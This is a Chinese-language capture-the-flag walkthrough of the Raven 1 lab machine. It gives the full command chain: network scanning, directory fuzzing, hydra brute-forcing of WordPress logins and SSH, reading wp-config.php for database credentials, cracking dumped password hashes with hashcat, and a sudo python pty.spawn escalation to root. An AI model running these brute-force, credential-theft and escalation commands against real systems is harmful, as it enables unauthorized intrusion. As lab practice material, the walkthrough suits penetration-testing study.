实验环境
攻击者 Kali 192.168.192.128
受害者 RAVEN 1 IP未知
攻击者和受害者在同一网段
1. 信息收集
nmap -sn 192.168.192.0/24
受害者IP为192.168.192.166
收集受害者服务详情
nmap -sV -A 192.168.192.166
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
wfuzz测试
export URL="http://192.168.192.166/FUZZ"
#模糊测试目录 排除404网页
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt --hc 404 "$URL"
#模糊测试文件 排除404网页
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt --hc 404 "$URL"
发现好像是wordpress
nikto扫描
nikto -host=http://192.168.192.166
确实是wordpress 且发现了登录页面
2. 漏洞发现和利用
http://192.168.192.166/wordpress/wp-login.php
在这之前需要把http://raven.local/ 加入到/etc/hosts中
我们考虑用hydra爆破
具体操作http://www.zhyann.net/index.php/2024/02/19/mrroot/
抓包发现Get /wordpress/wp-login.php
如果输错用户名会报Invalid username.
hydra -V -L /usr/share/seclists/Usernames/Names/names.txt -p 123 raven.local http-post-form '/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username.'
爆出来
michael
steven
或者使用wpscan来爆破用户名
wpscan --url http://192.168.192.166/wordpress -eu
-eu 枚举用户名
可以尝试一下能不能这个用户名wpscan爆破密码
将michael和steven写入/root/user.txt
wpscan --url http://192.168.192.166 -P /usr/share/wordlists/rockyou.txt -U /root/user.txt
发现很慢 放弃
尝试用这两个用户名爆破ssh
hydra -L user.txt -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt ssh://192.168.192.166
出来了一个 michael michael
ssh登录
ssh michael@192.168.192.166
3. 后渗透阶段
先看一下网络服务
netstat -antlp
发现有mysql服务
因为wordpress运行都需要数据库来支持
我们就考虑去网站根目录看一下
cd /var/www/html
ls -al
cat wp-config.php
拿到了数据库的用户名和密码
root
R@v3nSecurity
登录数据库 查看信息
michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/
用hash-identifier 辨识hash
MD5(WordPress)
用hashcat爆破一下
先查看用什么代码爆破
hashcat -h
将hash写入crack.txt 开始爆破
hashcat -a 0 -m 400 crack.txt /usr/share/wordlists/rockyou.txt
爆出来 steven的密码是pink84
我们切换到steven的账户
查看sudo权限
发现竟然python是所有权限 那简单了 直接python建立交互式shell不就好了
steven@Raven:~$ sudo python -c 'import pty; pty.spawn("/bin/bash")'
成功提权到root
tips: flag2.txt /var/www/flag2.txt
flag4.txt /root/flag4.txt
flag3 在Steven登录wordpress后
flag1没找到